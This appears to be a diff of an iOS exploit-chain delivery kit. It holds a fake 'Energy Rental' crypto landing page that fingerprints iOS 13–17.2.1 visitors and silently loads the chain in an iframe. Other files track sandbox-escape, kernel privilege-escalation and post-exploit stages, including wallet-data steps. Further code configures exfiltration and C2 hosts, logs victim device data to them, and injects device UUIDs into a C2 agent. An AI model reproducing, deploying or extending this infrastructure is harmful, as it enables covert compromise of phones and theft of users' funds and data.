if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0); if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0);
if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1); if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1);
if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe); if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe);
// S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs
if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post); if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post);
else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) { else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) {
notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾'); notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾');
} }
if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0);
if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe);
// Signal parent: CoreAnimation→sendPort hang needs timely re-arm
if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*');
}
} catch (_) {}
}
// GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm
if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*');
}
} catch (_) {}
}
if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*');
}
} catch (_) {}
}
return _log.apply(console, arguments); return _log.apply(console, arguments);
}; };
})(); })();
+3 -9
View File
@@ -1,18 +1,12 @@
window.NEWS2_CONFIG = { window.NEWS2_CONFIG = {
// 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain
deliveryHost: "",
deliveryPath: "/next-chain", deliveryPath: "/next-chain",
qqtimePath: "/qqtime/", // C2 / API — ds:build --c2 rewrites this block
// C2 / API → coruna-lab :8000
exfil: { exfil: {
host: "192.168.31.130", host: "192.168.31.130",
domain: "192.168.31.130", domain: "192.168.31.130",
http_port: 8000, http_port: 8080,
https_port: 8000, https_port: 8080,
tls: false, tls: false,
prefer_https: false, prefer_https: false,
}, },
redirectUrl: "https://ab.ux600.com",
countdownSeconds: 8,
}; };
if (typeof labApplyNews2Config === "function") labApplyNews2Config();
+2 -12
View File
@@ -22,20 +22,10 @@
<div class="top-progress-bar" id="topProgressBar"></div> <div class="top-progress-bar" id="topProgressBar"></div>
</div> </div>
</div> </div>
<script> <script src="/config.js"></script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
})();
</script>
<script> <script>
var LOADING_MS = 8000; var LOADING_MS = 8000;
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'https://ab.ux600.com'; var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'http://192.168.31.130:8080/?landed=1';
(function () { (function () {
var bar = document.getElementById('topProgressBar'); var bar = document.getElementById('topProgressBar');
+3 -13
View File
@@ -1,22 +1,12 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="zh-Hant"> <html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script> <head>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title> <title></title>
</head> </head>
<body> <body>
<script src="config.js"></script>
<script src="boot.js"></script>
</body> </body>
</html> </html>
+22 -40
View File
@@ -6,17 +6,7 @@
<meta property="og:image" content="https://TRXPeak.com/usdt-trc.webp"> <meta property="og:image" content="https://TRXPeak.com/usdt-trc.webp">
<meta name="twitter:card" content="summary_large_image"> <meta name="twitter:card" content="summary_large_image">
<title>Energy Rental - 24/7 Unattended Instant Delivery</title> <title>Energy Rental - 24/7 Unattended Instant Delivery</title>
<script> <script src="/config.js"></script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
})();
</script>
<link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
@@ -516,13 +506,13 @@
// 倒计时与链加载解耦。 // 倒计时与链加载解耦。
// 日志已证实:WC crash 会整页再 GET /,若只用 sessionStorage,倒计时会再跑一遍并再次挂 iframe。 // 日志已证实:WC crash 会整页再 GET /,若只用 sessionStorage,倒计时会再跑一遍并再次挂 iframe。
// 用 localStorage(10min TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。 // 用 localStorage(1h TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。
const cfg = window.NEWS2_CONFIG || {}; const cfg = window.NEWS2_CONFIG || {};
const landed = /[?&]landed=1(?:&|$)/.test(location.search); const landed = /[?&]landed=1(?:&|$)/.test(location.search);
const LS_DONE_AT = "__er_idx_cd_done_at"; const LS_DONE_AT = "__er_idx_cd_done_at";
const LS_FRAME_AT = "__er_frame_at"; const LS_FRAME_AT = "__er_frame_at";
const SS_DEADLINE = "__er_idx_countdown_deadline"; const SS_DEADLINE = "__er_idx_countdown_deadline";
const STATE_TTL_MS = 10 * 60 * 1000; const STATE_TTL_MS = 60 * 60 * 1000;
window.__ER_COUNTDOWN_DONE__ = false; window.__ER_COUNTDOWN_DONE__ = false;
window.__ER_START_CHAIN__ = null; window.__ER_START_CHAIN__ = null;
@@ -1077,33 +1067,30 @@
if (/[?&]landed=1(?:&|$)/.test(location.search)) return; if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
if (location.pathname.indexOf("/qqtime") === 0) return; if (location.pathname.indexOf("/qqtime") === 0) return;
// function isCoruna() { function isCoruna() {
// var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec( var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
// navigator.userAgent || "" navigator.userAgent || ""
// ); );
// if (!m) return false; if (!m) return false;
// var maj = +m[1], var maj = +m[1],
// min = +m[2], min = +m[2],
// pat = +(m[3] || 0); pat = +(m[3] || 0);
// if (maj < 13 || maj >= 18) return false; if (maj < 13 || maj >= 18) return false;
// if (maj === 17 && min > 2) return false; if (maj === 17 && min > 2) return false;
// if (maj === 17 && min === 2 && pat > 1) return false; if (maj === 17 && min === 2 && pat > 1) return false;
// return true; return true;
// } }
// if (isCoruna()) { if (isCoruna()) {
// var corunaUrl = (typeof labDeliveryUrl === "function") location.replace(location.origin + "/qqtime/");
// ? labDeliveryUrl("/qqtime/") return;
// : (location.origin + "/qqtime/"); }
// location.replace(corunaUrl);
// return;
// }
var frame = document.getElementById("frame"); var frame = document.getElementById("frame");
if (!frame) return; if (!frame) return;
var started = false; var started = false;
var LS_FRAME_AT = "__er_frame_at"; var LS_FRAME_AT = "__er_frame_at";
var STATE_TTL_MS = 10 * 60 * 1000; var STATE_TTL_MS = 60 * 60 * 1000;
function frameAlreadyLaunched() { function frameAlreadyLaunched() {
if (window.__ER_FRAME_ALREADY__) return true; if (window.__ER_FRAME_ALREADY__) return true;
@@ -1123,12 +1110,7 @@
localStorage.setItem(LS_FRAME_AT, String(Date.now())); localStorage.setItem(LS_FRAME_AT, String(Date.now()));
} catch (e2) {} } catch (e2) {}
window.__ER_FRAME_ALREADY__ = true; window.__ER_FRAME_ALREADY__ = true;
var qqtimePath = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.qqtimePath) frame.src = location.origin + "/qqtime/";
? window.NEWS2_CONFIG.qqtimePath
: "/qqtime/";
frame.src = (typeof labDeliveryUrl === "function")
? labDeliveryUrl(qqtimePath)
: (location.origin + qqtimePath);
} }
window.__ER_START_CHAIN__ = startQqtime; window.__ER_START_CHAIN__ = startQqtime;
-186
View File
@@ -1,186 +0,0 @@
// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path).
// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path).
(function (g) {
if (!g) return;
function trimSlash(s) {
return String(s || "").replace(/\/+$/, "");
}
function ensureSlashPath(p) {
p = String(p || "");
if (!p) return "";
return p.charAt(0) === "/" ? p : "/" + p;
}
function joinBase(base, path) {
base = trimSlash(base);
path = String(path || "");
if (!path) return base;
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path;
if (path.charAt(0) !== "/") path = "/" + path;
return base + path;
}
function hostOnly(raw) {
return String(raw || "")
.replace(/^https?:\/\//, "")
.split("/")[0]
.split(":")[0];
}
function defaultExfil() {
var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__);
return {
host: domain,
domain: domain,
http_port: 443,
https_port: 443,
tls: false,
prefer_https: false,
stats_url: "",
stats_url_direct: "",
delivery_stats_url: "",
};
}
function inferDeliveryHost() {
try {
if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__);
} catch (e0) {}
try {
var path = g.location && g.location.pathname ? String(g.location.pathname) : "";
var chained = path.match(/^(.*\/next-chain)(?:\/|$)/);
if (chained && g.location.origin && g.location.origin !== "null") {
return trimSlash(g.location.origin) + chained[1];
}
} catch (eBoot) {}
try {
var cfg = g.NEWS2_CONFIG || {};
if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost);
if (cfg.deliveryPath) {
var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : "";
return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath));
}
} catch (e1) {}
try {
if (!g.location || !g.location.origin || g.location.origin === "null") return "";
var origin = trimSlash(g.location.origin);
var path = String(g.location.pathname || "/");
var m = path.match(/^(.*\/next-chain)(?:\/|$)/);
if (m) return origin + m[1];
return origin;
} catch (e2) {}
return "";
}
function applyExfil(ex) {
var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil();
if (!ex || !ex.host) return cur;
g.__LAB_EXFIL__ = {
host: hostOnly(ex.host) || cur.host,
domain: hostOnly(ex.domain || ex.host) || cur.domain,
http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port,
https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port,
tls: ex.tls != null ? !!ex.tls : !!cur.tls,
prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https,
stats_url: ex.stats_url || cur.stats_url || "",
stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "",
delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "",
};
return g.__LAB_EXFIL__;
}
function apiOrigin(ex) {
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
var host = hostOnly(ex.host);
var pageHost = "";
var pageHttps = false;
try {
pageHttps = !!(g.location && g.location.protocol === "https:");
pageHost = hostOnly(g.location && g.location.hostname);
} catch (ePage) {}
var sameHost = !!(host && pageHost && host === pageHost);
var tls = !!(ex.tls || ex.prefer_https || (pageHttps && sameHost));
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
var scheme = tls ? "https" : "http";
var origin = scheme + "://" + host;
if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) {
origin += ":" + port;
}
return origin;
}
function ensureHosts() {
if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil();
var d = inferDeliveryHost();
if (d) g.__LAB_DELIVERY_HOST__ = d;
return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ };
}
function applyNews2Config() {
var cfg = g.NEWS2_CONFIG || {};
if (cfg.deliveryHost) {
g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost);
} else if (cfg.deliveryPath) {
try {
g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath));
} catch (e) {}
}
if (cfg.exfil) applyExfil(cfg.exfil);
ensureHosts();
}
g.labTrimSlash = trimSlash;
g.labJoinBase = joinBase;
g.labInferDeliveryHost = inferDeliveryHost;
g.labDeliveryHost = function () {
ensureHosts();
return trimSlash(g.__LAB_DELIVERY_HOST__ || "");
};
g.labDeliveryUrl = function (path) {
return joinBase(g.labDeliveryHost(), path);
};
g.labApiOrigin = function () {
ensureHosts();
return apiOrigin(g.__LAB_EXFIL__);
};
g.labApiUrl = function (path) {
return joinBase(g.labApiOrigin(), path);
};
g.labApplyExfil = applyExfil;
g.labEnsureHosts = ensureHosts;
g.labApplyNews2Config = applyNews2Config;
function persistChannelCode(code) {
code = String(code || "").trim().slice(0, 64);
if (!code) return "";
g.__LAB_CHANNEL_CODE__ = code;
try {
if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code);
} catch (e0) {}
try {
if (g.localStorage) g.localStorage.setItem("lab_channel_code", code);
} catch (e1) {}
return code;
}
function readChannelCode() {
try {
var path = (g.location && g.location.pathname) || "";
var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (e3) {}
return "";
}
g.labChannelCode = function () {
if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__);
return readChannelCode();
};
ensureHosts();
try {
g.labChannelCode();
} catch (eCh) {}
})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null);
+1 -1
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
import Native from "libs/Chain/Native"; import Native from "libs/Chain/Native";
import Chain from "libs/Chain/Chain"; import Chain from "libs/Chain/Chain";
import TaskRop from "libs/TaskRop/TaskRop"; import TaskRop from "libs/TaskRop/TaskRop";
File diff suppressed because one or more lines are too long
+6 -3
View File
@@ -28,9 +28,12 @@
// Without this, c2_agent falls back to the hardware IOPlatformUUID and the // Without this, c2_agent falls back to the hardware IOPlatformUUID and the
// two exfil trees diverge (uuid mismatch). // two exfil trees diverge (uuid mismatch).
try { try {
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase(); let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '');
if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') { if (_duuid) {
c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid); // 把 delivery UUID 直接烤进 c2_agent 的 __LAB_BAKED_DELIVERY_UUID__ 占位符。
// c2_agent 顶部 const DEVICE_UUID = (function(){var b=String("__LAB_BAKED_DELIVERY_UUID__");...})();
// 占位符未替换时会回退到硬件 IOPlatformUUID,导致 C2 /war 的 UUID 与 delivery /log 不一致。
// 这里把占位符替换成真实 delivery UUID,使两棵 exfil 树同 UUID。
c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid); c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid);
let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n'; let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n';
c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet); c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet);
File diff suppressed because one or more lines are too long
+3 -13
View File
@@ -1,22 +1,12 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="zh-Hant"> <html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script> <head>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title> <title></title>
</head> </head>
<body> <body>
<script src="../config.js"></script>
<script src="../boot.js"></script>
</body> </body>
</html> </html>
+3 -13
View File
@@ -1,22 +1,12 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="zh-Hant"> <html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script> <head>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title> <title></title>
</head> </head>
<body> <body>
<script src="../config.js"></script>
<script src="../boot.js"></script>
</body> </body>
</html> </html>
+59 -66
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
var SERVER_LOG = true; var SERVER_LOG = true;
let logStart = new Date().getTime(); let logStart = new Date().getTime();
let logEntryID = 0; let logEntryID = 0;
@@ -8,25 +8,44 @@ var offsets = {};
var slide; var slide;
var chipset; var chipset;
var device_model; var device_model;
var localHost = (function () { function labAssetBase() {
try { try {
if (typeof labDeliveryHost === 'function') {
var fromLab = labDeliveryHost();
if (fromLab) return String(fromLab).replace(/\/$/, '');
}
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__) if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, ''); return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
if (typeof location !== 'undefined' && location.pathname) { } catch (e0) {}
var origin = (location.origin && location.origin !== 'null') ? location.origin.replace(/\/$/, '') : ''; try {
var m = String(location.pathname).match(/^(.*\/next-chain)(?:\/|$)/); var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
if (origin && m) return origin + m[1]; ? String(location.origin).replace(/\/$/, '') : '';
if (origin) return origin; var path = '/next-chain';
try {
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath)
path = String(window.NEWS2_CONFIG.deliveryPath);
} catch (e1) {}
if (path.charAt(0) !== '/') path = '/' + path;
return origin + path.replace(/\/+$/, '');
} catch (e2) {}
return '';
}
function labApiBase() {
try {
var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
? window.__LAB_EXFIL__
: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
if (ex && ex.host) {
var tls = !!(ex.tls || ex.prefer_https);
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
return origin;
} }
} catch (e0) {}
try {
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
return location.origin.replace(/\/$/, ''); return String(location.origin).replace(/\/$/, '');
} catch (e) {} } catch (e1) {}
return ""; return '';
})(); }
var localHost = labAssetBase();
function resolveLabDeviceUUID() { function resolveLabDeviceUUID() {
let du = ''; let du = '';
try { try {
@@ -66,7 +85,7 @@ function print(x, reportError = false, dumphex = false) {
} }
} }
} catch (eP) {} } catch (eP) {}
// Server upload: errors only (progress = GET /api/ds/pe-stage / console). // Server upload: errors only (progress = pe_stage GETs / console).
const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x)); const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x));
if (!isErr) return; if (!isErr) return;
if (!SERVER_LOG && !reportError) return; if (!SERVER_LOG && !reportError) return;
@@ -89,22 +108,7 @@ function print(x, reportError = false, dumphex = false) {
} }
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest(); const xhr = new XMLHttpRequest();
const logUrl = (typeof labApiUrl === 'function') xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true);
? labApiUrl('/api/ds/log?' + req)
: (function () {
try {
if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) {
var e = window.__LAB_EXFIL__;
var tls = !!(e.tls || e.prefer_https);
var port = Number(tls ? (e.https_port || 443) : (e.http_port || 80));
var origin = (tls ? 'https://' : 'http://') + String(e.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
if (!((tls && port === 443) || (!tls && port === 80) || !port)) origin += ':' + port;
return origin + '/api/ds/log?' + req;
}
} catch (eApi) {}
return localHost + '/api/ds/log?' + req;
})();
xhr.open("GET", logUrl, true);
if (du) { if (du) {
try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {} try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {}
} }
@@ -462,24 +466,13 @@ function parseIosVersion() {
return null; return null;
} }
function resolveDeliveryHost() { function resolveDeliveryHost() {
try { var h = labAssetBase();
if (typeof labDeliveryHost === 'function') { if (h) return h;
var fromLab = labDeliveryHost();
if (fromLab) return String(fromLab).replace(/\/$/, '');
}
} catch (eLab) {}
if (localHost && localHost.length > 4) return String(localHost).replace(/\/$/, '');
try { try {
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__) if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, ''); return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') {
var origin = location.origin.replace(/\/$/, '');
var m = String(location.pathname || '').match(/^(.*\/next-chain)(?:\/|$)/);
if (m) return origin + m[1];
return origin;
}
} catch (e) {} } catch (e) {}
return 'http://one99.vip:80'; return labAssetBase();
} }
function resolveExfilTarget() { function resolveExfilTarget() {
try { try {
@@ -487,23 +480,23 @@ function resolveExfilTarget() {
return window.__LAB_EXFIL__; return window.__LAB_EXFIL__;
} catch (e) {} } catch (e) {}
try { try {
const apiBase = (typeof labApiUrl === 'function') const base = labApiBase();
? labApiUrl('/api/ds/chain-targets') if (!base) return null;
: ''; const xhr = new XMLHttpRequest();
if (apiBase) { xhr.open('GET', base + '/api/ds/chain-targets', false);
const xhr = new XMLHttpRequest(); xhr.send(null);
xhr.open('GET', apiBase, false); if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
xhr.send(null); const d = JSON.parse(xhr.responseText);
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { if (d.exfil && d.exfil.host) return d.exfil;
const d = JSON.parse(xhr.responseText);
if (d.exfil && d.exfil.host) {
try { if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); } catch (eA) {}
return d.exfil;
}
}
} }
} catch (e) {}
try {
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil)
return window.NEWS2_CONFIG.exfil;
} catch (e2) {} } catch (e2) {}
return { host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }; const base = labApiBase();
const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false };
} }
function exfilFields() { function exfilFields() {
const t = resolveExfilTarget(); const t = resolveExfilTarget();
@@ -513,11 +506,11 @@ function exfilFields() {
} catch (eDu) { deviceUUID = ''; } } catch (eDu) { deviceUUID = ''; }
if (!t) { if (!t) {
return { return {
exfilHost: 'mh0usocqzi6f46i.com', exfilHost: '192.168.31.130',
exfilHttpPort: 8018, exfilHttpPort: 8018,
exfilHttpsPort: 8018, exfilHttpsPort: 8018,
exfilTls: false, exfilTls: false,
exfilFallbackHost: 'mh0usocqzi6f46i.com', exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018, exfilFallbackHttpPort: 8018,
deviceUUID, deviceUUID,
}; };
@@ -526,7 +519,7 @@ function exfilFields() {
const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw); const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw);
if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) { if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) {
const ip = isIp ? hostRaw : 'mh0usocqzi6f46i.com'; const ip = isIp ? hostRaw : '192.168.31.130';
return { return {
exfilHost: ip, exfilHost: ip,
exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001, exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001,
@@ -548,7 +541,7 @@ function exfilFields() {
exfilHttpsPort: port, exfilHttpsPort: port,
exfilTls: u.protocol === 'https:', exfilTls: u.protocol === 'https:',
statsUrl: t.stats_url, statsUrl: t.stats_url,
exfilFallbackHost: 'mh0usocqzi6f46i.com', exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018, exfilFallbackHttpPort: 8018,
deviceUUID, deviceUUID,
}; };
